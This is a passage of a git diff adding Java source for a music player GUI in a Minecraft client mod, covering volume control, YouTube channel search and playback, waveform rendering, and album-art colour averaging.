(this.animForMouse > 1.0 || this.animForMouse < -1.0) { + this.offsetY += (int)this.animForMouse; + } + } + + public void doVolumeControl(final int mouseX, final int mouseY, final float opacity) { + final float xpos = 386.0f; + final float ypos = 255.5f; + final float volume = JelloMusicPlayer.volumeControl; + RenderUtils.drawRect(this.x + xpos, this.y + ypos, this.x + xpos + 2.0f, this.y + ypos + 20.0f, new Color(0.0f, 0.0f, 0.0f, 0.2f * opacity).getRGB()); + RenderUtils.drawRect(this.x + xpos, this.y + ypos - (-1.0f + volume) * 20.0f, this.x + xpos + 2.0f, this.y + ypos + 20.0f, new Color(1.0f, 1.0f, 1.0f, 0.5f * opacity).getRGB()); + if (this.isMouseDown && ClickUtils.isClickable(this.x + xpos, this.y + ypos, this.x + xpos + 2.0f, this.y + ypos + 21.0f, mouseX, mouseY)) { + JelloMusicPlayer.volumeControl = Math.min(20.0f, Math.max(0.0f, this.y + ypos + 20.0f - mouseY)) / 20.0f; + Player.setVolume((float)(int)(JelloMusicPlayer.volumeControl * 100.0f)); + } + } + + public void reloaded() { + this.offsetY = 40; + Draw.caches.clear(); + TextureManager.cache.clear(); + JelloMusicPlayer.musics.clear(); + if (this.searchThread != null && this.searchThread.isAlive()) { + this.searchThread.stop(); + } + (this.searchThread = new Thread(() -> { + if (!this.currentChannel.isEmpty()) { + try { + JelloMusicPlayer.musics.addAll(YoutubeVideoHelper.search(this.currentChannel)); + } + catch (final IOException e) { + e.printStackTrace(); + } + } + })).start(); + } + + public void handleMouseScroll() { + } + + public void ticks(final int mouseX, final int mouseY) { + int count = 0; + int xOffset = 90; + int calcY = this.offsetY; + for (final Music file : JelloMusicPlayer.musics) { + if (this.y - 63 > (float)(this.y + calcY + 5)) { + if (count < 2) { + ++count; + } + else { + calcY += 100; + count = 0; + } + } + else if (this.y + 270.0f < this.y + calcY + 5) { + if (count < 2) { + ++count; + } + else { + calcY += 100; + count = 0; + } + } + else { + if (ClickUtils.isClickable((float)this.x, (float)(this.y + 30), (float)(this.x + 500), (float)(this.y + 290 - 50), mouseX, mouseY) && ClickUtils.isClickable((float)(this.x + 40 + xOffset), (float)(this.y + calcY), this.x + 40 + xOffset + 77.0f, this.y + calcY + 77.0f, mouseX, mouseY)) { + file.hover.interpolate(10.0f, 5.0); + } + else { + file.hover.interpolate(0.0f, 5.0); + } + if (count < 2) { + ++count; + xOffset += (int)86.5f; + } + else { + xOffset = 90; + calcY += 100; + count = 0; + } + } + } + } + + public void drawMusics(final int mouseX, final int mouseY, final float opacity) { + StencilUtil.initStencilToWrite(); + RenderUtils.drawRect((float)this.x, (float)(this.y + 30), (float)(this.x + 500), (float)(this.y + 290 - 50), -1); + StencilUtil.readStencilBuffer(1); + int count = 0; + int xOffset = 90; + int calcY = this.offsetY; + for (final Music file : JelloMusicPlayer.musics) { + if (this.y - 63 > (float)(this.y + calcY + 5)) { + if (count < 2) { + ++count; + } + else { + calcY += 100; + count = 0; + } + } + else if (this.y + 270.0f < this.y + calcY + 5) { + if (count < 2) { + ++count; + } + else { + calcY += 100; + count = 0; + } + } + else { + if (file.textureImage != null) { + GlStateManager.color(1.0f, 1.0f, 1.0f, opacity); + RenderUtils.drawShadow((float)(this.x + 40 + xOffset), (float)(this.y + calcY), this.x + 40 + xOffset + 77.0f, this.y + calcY + 77.0f, opacity); + GlStateManager.color(1.0f, 1.0f, 1.0f, opacity); + final float scaled = 1.7821782f; + final float add = scaled - 1.0f; + file.textureImage.rectTextureMasked2((float)(this.x + 40 + xOffset), (float)(this.y + calcY), 77.0f, 77.0f, 115.5f, 102.41f, 19.25f, 12.705002f); + if (file.hover.getValue() / 10.0f > 0.0f) { + RenderUtils.drawTexture(this.x + 40 + xOffset + 20.0f + 7.0f, this.y + calcY + 20.0f + 5.0f, 25.0, 23.5, "musicplayer/bigplay", (float)(file.hover.getValue() / 10.0f * 0.45)); + StencilUtil.uninitStencilBuffer(); + StencilUtil.initStencilToWrite(); + RenderUtils.drawRect((float)this.x, (float)(this.y + 30), (float)(this.x + 500), (float)(this.y + 290 - 50), -1); + StencilUtil.readStencilBuffer(1); + } + } + else { + RenderUtils.drawRect((float)(this.x + 40 + xOffset), (float)(this.y + calcY), this.x + 40 + xOffset + 60.0f, this.y + calcY + 60.0f, new Color(100, 100, 100).getRGB()); + } + JelloFontUtil.jelloFont14.drawCenteredString((file.name.length() > 20) ? file.name.substring((int)(System.currentTimeMillis() / 100L % (file.name.length() - 20)), (int)(System.currentTimeMillis() / 100L % (file.name.length() - 20)) + 19) : file.name, (float)(this.x + 40 + 10 + xOffset + 29), (float)(this.y + calcY + 5 + 77), new Color(255, 255, 255, (int)(255.0f * opacity)).getRGB()); + JelloFontUtil.jelloFont14.drawCenteredString(file.aliasName, (float)(this.x + 40 + 10 + xOffset + 29), this.y + calcY + 5 + 77 + 8.0f, new Color(255, 255, 255, (int)(180.0f * opacity)).getRGB()); + if (count < 2) { + ++count; + xOffset += (int)86.5f; + } + else { + xOffset = 90; + calcY += 100; + count = 0; + } + } + } + StencilUtil.uninitStencilBuffer(); + } + + public void drawRepeat(final double x, final double y, final float opacity) { + GL11.glPushMatrix(); + final boolean enableBlend = GL11.glIsEnabled(3042); + final boolean disableAlpha = !GL11.glIsEnabled(3008); + if (!enableBlend) { + GL11.glEnable(3042); + } + if (!disableAlpha) { + GL11.glDisable(3008); + } + Minecraft.getInstance().getTextureManager().bindTexture(new ResourceLocation(this.repeat ? "sigma/musicplayer/repeat.png" : "sigma/musicplayer/repeatdis.png")); + GlStateManager.color(1.0f, 1.0f, 1.0f, opacity); + GL11.glTexParameteri(3553, 10241, 9729); + GL11.glTexParameteri(3553, 10240, 9729); + AbstractGui.drawModalRectWithCustomSizedTexture((int)(x - 16.0 + 20.0 + 140.0) - 21, (int)(y - 16.0 + 280.5), 0.0, 0.0, 15.199999809265137, 12.0, 15.199999809265137, 12.0); + if (!enableBlend) { + GL11.glDisable(3042); + } + if (!disableAlpha) { + GL11.glEnable(3008); + } + GL11.glPopMatrix(); + } + + public void releasePanel(final int mouseX, final int mouseY) { + if (this.dragging) { + final ScaledResolution sr = new ScaledResolution(Minecraft.getInstance()); + if (this.x > sr.getScaledWidth() - 300) { + this.x = sr.getScaledWidth() - 20; + this.y = (int)(sr.getScaledHeight() / 2.0f - 150.0f); + this.searchBar.x = (int)(this.x + 121 + 15.5f); + this.searchBar.y = (int)(this.y - 9 + 20 - 1.5f); + } + } + this.dragging = false; + } + + public boolean clickPanel(final int mouseX, final int mouseY, final int b) { + if (b == 0) { + if (ClickUtils.isClickable(this.x + 120 + 137.5f - 100.0f, this.y - 4.0f + 5.0f + 15.0f - 8.0f, this.x + 120 + 137.5f + 100.0f, this.y - 4.0f + 5.0f + 15.0f + 8.0f, mouseX, mouseY) && this.hide) { + this.hide = false; + return true; + } + final List channels = Arrays.asList("Trap Nation", "Child Nation", "VEVO", "NCS", "CloudKid", "Trap City", "MrSuicideSheep", "Rap Nation"); + int channelCount = 0; + for (final String c : channels) { + GlStateManager.color(1.0f, 1.0f, 1.0f, 1.0f); + if (ClickUtils.isClickableWithRect(this.x - 4.75f + 0.5f + 62.5f - 0.5f - JelloFontUtil.jelloFont13.getStringWidth(c) / 2.0, this.y - 3.5f + 46.5f + 0.5f + 20 * channelCount, JelloFontUtil.jelloFont13.getStringWidth(c) / 2.0, JelloFontUtil.jelloFont13.getHeight(), mouseX, mouseY)) { + this.currentChannel = c; + this.lastSearch = this.currentChannel; + this.hide = true; + this.reloaded(); + return true; + } + ++channelCount; + } + int count = 0; + int xOffset = 90; + int calcY = this.offsetY; + if (ClickUtils.isClickable((float)this.x, (float)(this.y + 30), (float)(this.x + 500), (float)(this.y + 290 - 50), mouseX, mouseY)) { + for (final Music file : JelloMusicPlayer.musics) { + if (this.y - 63 > (float)(this.y + calcY + 5)) { + if (count < 2) { + ++count; + } + else { + calcY += 100; + count = 0; + } + } + else if (this.y + 270.0f < this.y + calcY + 5) { + if (count < 2) { + ++count; + } + else { + calcY += 100; + count = 0; + } + } + else { + if (ClickUtils.isClickable((float)(this.x + 40 + xOffset), (float)(this.y + calcY), this.x + 40 + xOffset + 77.0f, this.y + calcY + 77.0f, mouseX, mouseY)) { + YoutubeVideoHelper.playMusicLink(this.currentFile = file); + return true; + } + if (count < 2) { + ++count; + xOffset += (int)86.5f; + } + else { + xOffset = 90; + calcY += 100; + count = 0; + } + } + } + } + if (ClickUtils.isClickableWithRect(this.x - 16 + 20 + 140, (int)(this.y - 16 + 280.5f), 15.199999809265137, 12.0, mouseX, mouseY)) { + this.repeat = !this.repeat; + return true; + } + if (this.mp3.isNotNull) { + if (this.mp3.isOnPlaying) { + if (ClickUtils.isClickable(this.x - 16 + 265, this.y + 262, this.x - 16 + 265 + 17.5f, this.y + 262 + 19.0f, mouseX, mouseY)) { + this.mp3.stop(); + return true; + } + } + else if (ClickUtils.isClickable(this.x - 16 + 265, this.y + 262, this.x - 16 + 265 + 17.5f, this.y + 262 + 19.0f, mouseX, mouseY)) { + this.mp3.play(); + return true; + } + } + if (ClickUtils.isClickable(this.x, this.y, this.x + 125, this.y + 35, mouseX, mouseY)) { + this.startX = mouseX; + this.startY = mouseY; + this.lastX = (float)this.x; + this.lastY = (float)this.y; + return this.dragging = true; + } + } + if (this.searchBar != null) { + this.searchBar.mouseClicked(mouseX, mouseY, b); + } + return false; + } + + public void drawPlayer(final int mouseX, final int mouseY, float opacity) { + final ScaledResolution sr = new ScaledResolution(Minecraft.getInstance()); + if (this.searchBar != null && !this.lastSearch.equals(this.searchBar.getText()) && !this.hide) { + this.lastSearch = this.searchBar.getText(); + this.antiRepeat.reset(); + } + else if (this.antiRepeat.hasTimeElapsed(2000L) && !this.currentChannel.equals(this.lastSearch)) { + this.currentChannel = this.lastSearch; + this.reloaded(); + } + if (this.searchBar != null) { + this.searchBar.setVisible(!this.hide); + } + this.doMouseAnim(); + if (this.dragging) { + this.x = (int)(this.lastX + mouseX - this.startX); + this.y = (int)(this.lastY + mouseY - this.startY); + this.searchBar.x = (int)(this.x + 121 + 15.5f); + this.searchBar.y = (int)(this.y - 9 + 20 - 1.5f); + } + if (this.x > sr.getScaledWidth() - 300) { + opacity = 0.5f; + } + final float sidewarsY = this.y - 16 + 323.0f - 16.0f + 4.0f + 2.0f; + if (!this.isMouseDown || ClickUtils.isClickable((float)(this.x + 110), sidewarsY - 4.5, this.x + 110 + (this.x + 423.0f - 16.0f - 10.0f - (this.x + 110)), sidewarsY - 1.5, mouseX, mouseY)) {} + RenderUtils.drawTexture(this.x - 16, this.y - 16, 423.0, 323.0, "jellomusicbackground", opacity); + RenderUtils.drawTexture(this.x - 16, this.y - 16, 423.0, 323.0, "musicshadow", opacity); + RenderUtils.drawTexture(this.x - 16 + 9 + 125.0f, this.y - 16 + 280.5f + 28.5f - 2.5f, 277.5, 5.0, "durationshadow", opacity); + if (this.currentFile != null && this.currentFile.textureImage != null && this.currentFile.textureImage.pixels != null) { + GlStateManager.resetColor(); + StencilUtil.initStencilToWrite(); + RenderUtils.drawRect((float)(this.x - 10 + 5), sidewarsY - 50.0f, this.x - 10 + 5 + (this.x + 423.0f - 16.0f - 10.0f) - (this.x - 10 + 5), sidewarsY - 0.5f, -1); + StencilUtil.readStencilBuffer(1); + GlStateManager.resetColor(); + GlStateManager.color(1.0f, 1.0f, 1.0f, opacity * 1.0f); + final float radius = 0.0f; + this.currentFile.textureImage.rectTextureMasked(this.x - 10 + 5 - radius * 1.5f, sidewarsY - 50.0f - 60.0f - radius * 1.5f, this.x + 423.0f - 16.0f - 10.0f - (this.x - 10 + 5) + radius * 3.0f, sidewarsY - 0.5f - (sidewarsY - 50.0f - 40.0f) * 3.0f + radius * 3.0f, 0.0f, 0.0f); + StencilUtil.uninitStencilBuffer(); + RenderUtils.drawRect((float)(this.x - 10 + 5), sidewarsY - 50.0f, this.x - 10 + 5 + (this.x + 423.0f - 16.0f - 10.0f) - (this.x - 10 + 5), sidewarsY - 0.5f, new Color(0, 0, 0, (int)(100.0f * opacity)).getRGB()); + } + if (this.currentFile != null && this.currentFile.textureImage != null) { + GlStateManager.resetColor(); + GlStateManager.color(1.0f, 1.0f, 1.0f, opacity); + this.currentFile.textureImage.rectTextureMasked2(this.x + 45.5f - 11.5f - 4.5f, this.y + 226.5f - 11.5f - 4.5f - 1.0f, 58.0f, 58.0f, 87.0f, 77.14f, 14.5f, 9.57f); + } + RenderUtils.drawTexture((int)(this.x - 16 + 207.5f), (int)(this.y + 264.5f), 22.5, 15.0, "rewind", opacity); + if (this.mp3.isOnPlaying && this.mp3.isNotNull) { + RenderUtils.drawTexture(this.x - 16 + 265, this.y + 262, 17.5, 19.0, "pause", opacity); + } + else { + RenderUtils.drawTexture(this.x - 16 + 265, (int)(this.y + 262.5f), 18.5, 18.0, "play", opacity); + } + RenderUtils.drawTexture((int)(this.x - 16 + 322.0f), (int)(this.y - 16 + 280.5f), 22.5, 15.0, "fastforward", opacity); + RenderUtils.drawTexture(this.x - 16 + 20, (int)(this.y - 16 + 280.5f - 35.0f), 11.40000057220459, 12.0, "musicplayer/wave", opacity); + this.drawRepeat(this.x, this.y, opacity); + this.doVolumeControl(mouseX, mouseY, opacity); + this.drawMusics(mouseX, mouseY, opacity); + if (this.hide) { + JelloFontUtil.jelloFontBold25.drawCenteredString(this.currentChannel, this.x + 120 + 137.5f, this.y - 4.0f + 5.0f + 15.0f, new Color(255, 255, 255, 255).getRGB()); + } + RenderUtils.resetColor(); + final List channels = Arrays.asList("Trap Nation", "Child Nation", "VEVO", "NCS", "CloudKid", "Trap City", "MrSuicideSheep", "Rap Nation"); + int channelCount = 0; + for (final String c : channels) { + GlStateManager.color(1.0f, 1.0f, 1.0f, 1.0f); + JelloFontUtil.jelloFont13.drawCenteredString(c, this.x - 4.75f + 0.5f + 62.5f - 0.5f, this.y - 3.5f + 46.5f + 0.5f + 20 * channelCount, ColorUtils.reAlpha(Color.white, opacity * 0.8f).getRGB()); + JelloFontUtil.jelloFont13.drawCenteredString(c, this.x - 4.75f + 0.5f + 62.5f - 0.5f, this.y - 3.5f + 46.5f + 0.5f + 20 * channelCount, ColorUtils.reAlpha(Color.white, opacity * 0.8f).getRGB()); + ++channelCount; + } + GL11.glColor4f(1.0f, 1.0f, 1.0f, opacity); + String time = "0:00"; + String maxTime = "0:00"; + if (JelloMusicPlayer.currentSongLength != 0 && this.currentFile != null && Player.player != null) { + this.currentPosition = Player.player.getPosition(); + final int MINUTES_IN_AN_HOUR = 60; + final int SECONDS_IN_A_MINUTE = 60; + final int seconds = JelloMusicPlayer.currentSongLength % 60; + final int totalMinutes = JelloMusicPlayer.currentSongLength / 60; + final int minutes = totalMinutes % 60; + final int hours = totalMinutes / 60; + final int progress = 20; + if (JelloMusicPlayer.currentSongLength >= 3600000) { + final String format = "%2d:%02d:%02d"; + maxTime = String.format(format, TimeUnit.MILLISECONDS.toHours(JelloMusicPlayer.currentSongLength), TimeUnit.MILLISECONDS.toMinutes(JelloMusicPlayer.currentSongLength) % TimeUnit.HOURS.toMinutes(1L), TimeUnit.MILLISECONDS.toSeconds(JelloMusicPlayer.currentSongLength) % TimeUnit.MINUTES.toSeconds(1L)); + } + else if (JelloMusicPlayer.currentSongLength >= 60000) { + final String format = "%2d:%02d"; + maxTime = String.format(format, TimeUnit.MILLISECONDS.toMinutes(JelloMusicPlayer.currentSongLength) % TimeUnit.HOURS.toMinutes(1L), TimeUnit.MILLISECONDS.toSeconds(JelloMusicPlayer.currentSongLength) % TimeUnit.MINUTES.toSeconds(1L)); + } + else if (JelloMusicPlayer.currentSongLength >= 1000) { + final String format = "0:%02d"; + maxTime = String.format(format, TimeUnit.MILLISECONDS.toSeconds(this.currentPosition) % TimeUnit.MINUTES.toSeconds(1L)); + } + if (this.currentPosition >= 3600000L) { + final String format = "%2d:%02d:%02d"; + time = String.format(format, TimeUnit.MILLISECONDS.toHours(this.currentPosition), TimeUnit.MILLISECONDS.toMinutes(this.currentPosition) % TimeUnit.HOURS.toMinutes(1L), TimeUnit.MILLISECONDS.toSeconds(this.currentPosition) % TimeUnit.MINUTES.toSeconds(1L)); + } + else if (this.currentPosition >= 60000L) { + final String format = "%2d:%02d"; + time = String.format(format, TimeUnit.MILLISECONDS.toMinutes(this.currentPosition) % TimeUnit.HOURS.toMinutes(1L), TimeUnit.MILLISECONDS.toSeconds(this.currentPosition) % TimeUnit.MINUTES.toSeconds(1L)); + } + else if (this.currentPosition >= 1000L) { + final String format = "0:%02d"; + time = String.format(format, TimeUnit.MILLISECONDS.toSeconds(this.currentPosition) % TimeUnit.MINUTES.toSeconds(1L)); + } + GL11.glColor4f(1.0f, 1.0f, 1.0f, opacity); + RenderUtils.drawRect((float)(this.x + 110), sidewarsY - 4.5, this.x + 110 + (this.x + 423.0f - 16.0f - 10.0f - (this.x + 110)) * (this.currentPosition / (float)JelloMusicPlayer.currentSongLength), sidewarsY - 1.5, new Color(255, 255, 255, (int)(100.0f * opacity)).getRGB()); + GlStateManager.resetColor(); + JelloFontUtil.jelloFont14.drawCenteredString(this.currentFile.name, (float)(this.x + 10 + 100 - 85 + 30 + 7), (float)(this.y + 323 - 10 - 16 - 16 - 5 - 8 - 8 + 15 + 10 - 10 + 3 - 6), new Color(255, 255, 255, (int)(255.0f * opacity)).getRGB()); + GlStateManager.resetColor(); + JelloFontUtil.jelloFont14.drawCenteredString(this.currentFile.aliasName, (float)(this.x + 10 + 100 - 85 + 30 + 7), (float)(this.y + 323 - 10 - 16 - 16 - 5 - 8 - 8 + 15 + 10 - 10 + 5), new Color(255, 255, 255, (int)(150.0f * opacity)).getRGB()); + } + else { + JelloFontUtil.jelloFont14.drawCenteredString("Jello Music", (float)(this.x + 10 + 100 - 85 + 30 + 7), (float)(this.y + 323 - 10 - 16 - 16 - 5 - 8 - 8 + 15 + 10 - 10 + 3), new Color(255, 255, 255, (int)(255.0f * opacity)).getRGB()); + } + JelloFontUtil.jelloFont14.drawString(time, (float)(this.x + 10 + 100 + 13), (float)(this.y + 323 - 10 - 16 - 16 - 5 + 5), new Color(255, 255, 255, (int)(255.0f * opacity)).getRGB()); + JelloFontUtil.jelloFont14.drawString(maxTime, (float)(this.x + 313 + 60 - JelloFontUtil.jelloFont18.getStringWidth(maxTime) - 1.0 + 10.0), (float)(this.y + 323 - 10 - 16 - 16 - 5 + 5), new Color(255, 255, 255, (int)(255.0f * opacity)).getRGB()); + if (this.searchBar != null && opacity >= 0.9) { + this.searchBar.drawTextBox(); + } + } + + static { + JelloMusicPlayer.volumeControl = 0.5f; + } + } diff --git a/src/info/sigmaclient/sigma/gui/clickgui/musicplayer/MusicPlayer.java b/src/info/sigmaclient/sigma/gui/clickgui/musicplayer/MusicPlayer.java new file mode 100644 index 00000000..b0375f1d --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/clickgui/musicplayer/MusicPlayer.java @@ -0,0 +1,71 @@ +package info.sigmaclient.sigma.gui.clickgui.musicplayer; + +import info.sigmaclient.sigma.gui.hud.notification.NotificationManager; +import info.sigmaclient.sigma.modules.gui.hide.ClickGUI; +import info.sigmaclient.sigma.utils.music.Music; +import java.awt.Color; +import java.net.URL; + +public class MusicPlayer { + URL url; + boolean isNotNull; + public boolean isOnPlaying; + public static Color firstColor; + public static Color secondColor; + + public MusicPlayer() { + this.isNotNull = false; + this.isOnPlaying = false; + } + + public void SetPlayAudioPathYT(String path, Music music) { + firstColor = null; + secondColor = null; + + try { + new Thread(() -> { + if (this.isNotNull) { + JavaXMusicPlayer.shutUP(); + this.isOnPlaying = false; + this.isNotNull = false; + } + + JavaXMusicPlayer.startFX(path); + this.isOnPlaying = true; + this.isNotNull = true; + }).start(); + new Thread(() -> { + while(ClickGUI.clickGui.musicPlayer.currentFile.textureImage == null || ClickGUI.clickGui.musicPlayer.currentFile.textureImage.pixels == null) { + try { + Thread.sleep(50L); + } catch (InterruptedException var3) { + throw new RuntimeException(var3); + } + } + + NotificationManager.notify("Now Playing", music.aliasName + " - " + music.name, 8000, ClickGUI.clickGui.musicPlayer.currentFile.textureImage); + int with = ClickGUI.clickGui.musicPlayer.currentFile.textureImage.pixels.getWidth(); + int hei = ClickGUI.clickGui.musicPlayer.currentFile.textureImage.pixels.getHeight(); + firstColor = MusicWaveRender.averageColor(ClickGUI.clickGui.musicPlayer.currentFile.textureImage.pixels, with, hei, 1); + secondColor = MusicWaveRender.averageColor(ClickGUI.clickGui.musicPlayer.currentFile.textureImage.pixels, with, hei, 2); + }).start(); + } catch (Exception var4) { + var4.printStackTrace(); + } + } + + void play() { + JavaXMusicPlayer.start(); + this.isOnPlaying = true; + } + + void stop() { + JavaXMusicPlayer.pause(); + this.isOnPlaying = false; + } + + static { + MusicPlayer.firstColor = null; + MusicPlayer.secondColor = null; + } + } diff --git a/src/info/sigmaclient/sigma/gui/clickgui/musicplayer/MusicWaveRender.java b/src/info/sigmaclient/sigma/gui/clickgui/musicplayer/MusicWaveRender.java new file mode 100644 index 00000000..c7e8c6b3 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/clickgui/musicplayer/MusicWaveRender.java @@ -0,0 +1,102 @@ +package info.sigmaclient.sigma.gui.clickgui.musicplayer; + +import java.awt.Color; +import java.awt.image.BufferedImage; +import info.sigmaclient.sigma.modules.Module; +import net.minecraft.client.gui.screen.ChatScreen; +import info.sigmaclient.sigma.sigma5.jellomusic.Player; +import info.sigmaclient.sigma.modules.gui.hide.ClickGUI; +import info.sigmaclient.sigma.utils.render.anims.PartialTicksAnim; +import info.sigmaclient.sigma.sigma5.jellomusic.player.JelloMusic; + +public class MusicWaveRender + { + public static MusicWaveRender SELF; + public static float[] volces; + public static JelloMusic music; + public PartialTicksAnim scaleAnim; + public PartialTicksAnim[] volcesTransAnim; + + public MusicWaveRender() { + this.scaleAnim = new PartialTicksAnim(0.0f); + this.volcesTransAnim = new PartialTicksAnim[110]; + for (int i = 0; i < this.volcesTransAnim.length; ++i) { + this.volcesTransAnim[i] = new PartialTicksAnim(0.0f); + } + } + + public void onTick() { + for (int i = 0; i < 110; ++i) { + try { + final float avgBuffer = Math.abs(MusicWaveRender.volces[i]) * 1.7f; + this.volcesTransAnim[i].interpolate(avgBuffer, (this.volcesTransAnim[i].getValue() - avgBuffer < -20.0f) ? 5.0 : 3.0); + } + catch (final NullPointerException d) { + d.printStackTrace(); + } + } + float scale = 0.0f; + for (int u = 109; u > 60; --u) { + scale += MusicWaveRender.volces[u]; + scale /= 8.0f; + } + scale = (float)Math.min(scale, 2.0); + scale = -scale; + this.scaleAnim.interpolate(scale * 20.0f, 1.5); + } + + public void drawWave() { + if (MusicPlayer.firstColor == null || MusicPlayer.secondColor == null || ClickGUI.clickGui.musicPlayer.currentFile == null || Player.player == null) { + return; + } + Player.player.drawLines(); + Player.player.drawWave(); + if (!(Module.mc.currentScreen instanceof ChatScreen)) { + return; + } + this.drawTexture2(); + } + + public void drawTexture2() { + if (Player.player == null) { + return; + } + Player.player.drawTexture(); + } + + public void drawTexture() { + if (MusicPlayer.firstColor == null || MusicPlayer.secondColor == null || ClickGUI.clickGui.musicPlayer.currentFile == null) { + return; + } + if (Module.mc.currentScreen instanceof ChatScreen) { + return; + } + this.drawTexture2(); + } + + public static Color averageColor(final BufferedImage bi, final int width, final int height, final int pixelStep) { + final int[] color = new int[3]; + for (int x = 0; x < width; x += pixelStep) { + for (int y = 0; y < height; y += pixelStep) { + final Color pixel = new Color(bi.getRGB(x, y)); + final int[] array = color; + final int n = 0; + array[n] += pixel.getRed(); + final int[] array2 = color; + final int n2 = 1; + array2[n2] += pixel.getGreen(); + final int[] array3 = color; + final int n3 = 2; + array3[n3] += pixel.getBlue(); + } + } + final int num = width * height / (pixelStep * pixelStep); + return new Color(color[0] / num, color[1] / num, color[2] / num); + } + + static { + MusicWaveRender.SELF = new MusicWaveRender(); + MusicWaveRender.volces = new float[110]; + MusicWaveRender.music = new JelloMusic(); + } + } diff --git a/src/info/sigmaclient/sigma/gui/clickgui/simple/JelloModuleShower.java b/src/info/sigmaclient/sigma/gui/clickgui/simple/JelloModuleShower.java new file mode 100644 index 00000000..b8cd5ec1 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/clickgui/simple/JelloModuleShower.java @@ -0,0 +1,256 @@ +package info.sigmaclient.sigma.gui.clickgui.simple; + +import info.sigmaclient.sigma.utils.render.rendermanagers.GlStateManager; +import info.sigmaclient.sigma.utils.render.rendermanagers.ScaledResolution; +import info.sigmaclient.sigma.gui.clickgui.buttons.Button; +import info.sigmaclient.sigma.config.values.*; +import info.sigmaclient.sigma.modules.Module; +import info.sigmaclient.sigma.utils.key.ClickUtils; +import info.sigmaclient.sigma.utils.render.RenderUtils; +import info.sigmaclient.sigma.utils.render.StencilUtil; +import info.sigmaclient.sigma.utils.render.anims.JelloEaseAnim; +import info.sigmaclient.sigma.gui.font.JelloFontUtil; +import info.sigmaclient.sigma.gui.clickgui.buttons.*; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.util.ArrayList; + +import static info.sigmaclient.sigma.modules.Module.mc; +import top.fl0wowp4rty.phantomshield.annotations.Native; + + +public class JelloModuleShower { + Module module; + public ArrayList